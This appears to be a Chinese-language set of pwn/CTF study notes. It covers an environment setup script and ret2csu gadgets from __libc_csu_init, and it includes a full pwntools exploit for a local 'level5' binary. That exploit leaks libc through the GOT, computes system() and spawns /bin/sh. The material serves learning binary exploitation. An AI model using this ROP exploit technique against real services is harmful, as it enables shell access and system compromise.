1
将一下内容写入一个sh脚本文件中，为chmod 777 xxx.sh文件赋权限后直接./xxx.sh运行脚本，中途会出现Do you want to continue? [Y/n]输入y

1
#!/bin/bash
2
cd ~
3
sudo apt install tzdata
4
sudo apt install vim
5
sudo apt install libxml2-dev
6
sudo apt install libxslt-dev
7
sudo apt install libmysqlclient-dev
8
sudo apt install libsqlite3-dev
9
sudo apt install zlib1g-dev
10
sudo apt install python2-dev
11
sudo apt install python3-pip
12
sudo apt install libffi-dev
13
sudo apt install libssl-dev
14
sudo apt install wget
15
sudo apt install curl
16
sudo apt install gcc
17
sudo apt install clang
18
sudo apt install make
19
sudo apt install zip
20
sudo apt install build-essential
21
sudo apt install libncursesw5-dev libgdbm-dev libc6-dev
22
sudo apt install tk-dev
23
sudo apt install openssl
24
sudo apt install virtualenv
25
sudo apt install git
26
sudo apt install proxychains4
27
sudo apt install ruby-dev
28

29
#setuptools 36.6.1 -> python2
30
wget https://mirrors.aliyun.com/pypi/packages/56/a0/4dfcc515b1b993286a64b9ab62562f09e6ed2d09288909aee1efdb9dde16/setuptools-36.6.1.zip
31
unzip setuptools-36.6.1.zip
32
cd setuptools-36.6.1
33
sudo python2 setup.py install
34
cd ../
35
sudo rm -rf setuptools-36.6.1 setuptools-36.6.1.zip
36

37
#setuptools 65.4.1 -> python3
38
wget https://mirrors.aliyun.com/pypi/packages/03/c9/7b050ea4cc4144d0328f15e0b43c839e759c6c639370a3b932ecf4c6358f/setuptools-65.4.1.tar.gz
39
tar -zxvf setuptools-65.4.1.tar.gz
40
cd setuptools-65.4.1
41
sudo python3 setup.py install
42
cd ../
43
sudo rm -rf setuptools-65.4.1 setuptools-65.4.1.tar.gz
44

45
#pip
46
wget https://mirrors.aliyun.com/pypi/packages/53/7f/55721ad0501a9076dbc354cc8c63ffc2d6f1ef360f49ad0fbcce19d68538/pip-20.3.4.tar.gz
47
tar -zxvf pip-20.3.4.tar.gz
48
cd pip-20.3.4
49
sudo python2 setup.py install
50
sudo python3 setup.py install
51
cd ../
52
sudo rm -rf pip-20.3.4 pip-20.3.4.tar.gz
53

54
sudo pip2 config set global.index-url https://mirrors.aliyun.com/pypi/simple
55
sudo pip3 config set global.index-url https://mirrors.aliyun.com/pypi/simple
56

57
sudo python2 -m pip install --upgrade pip
58
sudo python3 -m pip install --upgrade pip
59

60
pip3 install --upgrade pip
61
sudo pip2 install pathlib2

1
这里我直接去github下载运行setup.sh会报错要求升级python3，所以直接引用了starrysky大佬的库
2

3
https://starrysky1004.github.io/pwnenv.zip

1
#include <stdio.h>
2

3
char hello[] = "Hello world!";
4
int buf[10];
5

6
int func(int a, int b){
7
        int res;
8
        res = a + b;
9
        return res;
10
}
11

12
int main(){
13
        int a, b, c;
14
        a = 10;
15
        b = 20;
16
        c = func(a, b);
17
        printf("Result is: %d", c);
18
        return 0;
19
}

1
1、对所有用户输入进行边界检查，确保写入缓冲区的数据不会超出其容量。
2
2、使用安全的替代函数

1
from ctypes import *
2
libc = cdll.LoadLibrary('./2.35/libc.so.6')
3

4
seed = 0
5
libc.srand(seed)
6

7
for i in range(21):
8
    v6 = (libc.rand() ^ 0x24) + 1
9
    r.sendlineafter('input: ', str(v6))

1
x64 下面有一些万能的 gadget：objdump -d ./level5 显示特定的汇编（-D 显示全部的）
2
观察一下 _libc_csu_init 一般来说，只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化

1
  gadgets2
2
  4005f0:  4c 89 fa               mov    %r15,%rdx
3
  4005f3:  4c 89 f6               mov    %r14,%rsi
4
  4005f6:  44 89 ef               mov    %r13d,%edi
5
  4005f9:  41 ff 14 dc            callq  *(%r12,%rbx,8)
6
  ....
7
  gadgets1
8
  400606:  48 8b 5c 24 08         mov    0x8(%rsp),%rbx
9
  40060b:  48 8b 6c 24 10         mov    0x10(%rsp),%rbp
10
  400610:  4c 8b 64 24 18         mov    0x18(%rsp),%r12
11
  400615:  4c 8b 6c 24 20         mov    0x20(%rsp),%r13
12
  40061a:  4c 8b 74 24 28         mov    0x28(%rsp),%r14
13
  40061f:  4c 8b 7c 24 30         mov    0x30(%rsp),%r15
14
  400624:  48 83 c4 38            add    $0x38,%rsp
15
  400628:  c3                     retq

1
如果不理解为什么rsp+8变成了rsp+16，可以通过gdb+pwndbg进行调试，能够看到rbx为0，rbp直接就是1，将payload第一次写入的p64(0)跳过了

1
from pwn import *
2

3
context.terminal = ['tmux', 'splitw', '-h']
4

5
elf = ELF('level5')
6
# libc = ELF('./2.35/libc.so.6')
7
libc = ELF('libc6_2.35-0ubuntu3.6_amd64.so')
8

9
p = process('./level5')
10
# p = remote('127.0.0.1',1234)
11

12
got_write = elf.got['write']
13
print("got_write: " + hex(got_write))
14
got_read = elf.got['read']
15
print("got_read: " + hex(got_read))
16

17
main = 0x400564
18

19
off_system_addr = libc.symbols['write'] - libc.symbols['system']
20
print("off_system_addr: " + hex(off_system_addr))
21

22
# rdi=  edi = r13,  rsi = r14, rdx = r15
23
# write(rdi=1, rsi=write.got, rdx=4)
24
payload1 = b"\x00" * 136
25
payload1 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8)  # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
26
payload1 += p64(0x4005F0)  # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
27
payload1 += b"\x00" * 56
28
payload1 += p64(main)
29
p.recvuntil("Hello, World\n")
30

31
# gdb.attach(p)
32
print("\n#############sending payload1#############\n")
33
p.send(payload1)
34
sleep(1)
35
write_addr = u64(p.recv(8))
36
print("write_addr: " + hex(write_addr))
37

38
system_addr = write_addr - off_system_addr
39
print("system_addr: " + hex(system_addr))
40

41
bss_addr = 0x601028
42

43
p.recvuntil("Hello, World\n")
44

45
# rdi=  edi = r13,  rsi = r14, rdx = r15
46
# read(rdi=0, rsi=bss_addr, rdx=16)
47

48
payload2 = b"\x00" * 136
49
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)  # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
50
payload2 += p64(0x4005F0)  # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
51
payload2 += b"\x00" * 56
52
payload2 += p64(main)
53

54
# gdb.attach(p)
55
print("\n#############sending payload2#############\n")
56
p.send(payload2)
57
sleep(1)
58

59
gdb.attach(p)
60
p.send(p64(system_addr))
61
sleep(1)
62
p.send("/bin/sh\0")
63
sleep(1)
64
p.recvuntil("Hello, World\n")
65

66
# rdi=  edi = r13,  rsi = r14, rdx = r15
67
# system(rdi = bss_addr+8 = "/bin/sh")
68
payload3 = b"\x00" * 136
69
payload3 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0)  # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
70
payload3 += p64(0x4005F0)  # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
71
payload3 += b"\x00" * 56
72
payload3 += p64(0)
73

74
# gdb.attach(p)
75
print("\n#############sending payload3#############\n")
76

77
sleep(1)
78
p.send(payload3)
79

80
p.interactive()

1
r_offset = 0x080498cc  //指向GOT表的指针
2
r_info = 0x00000407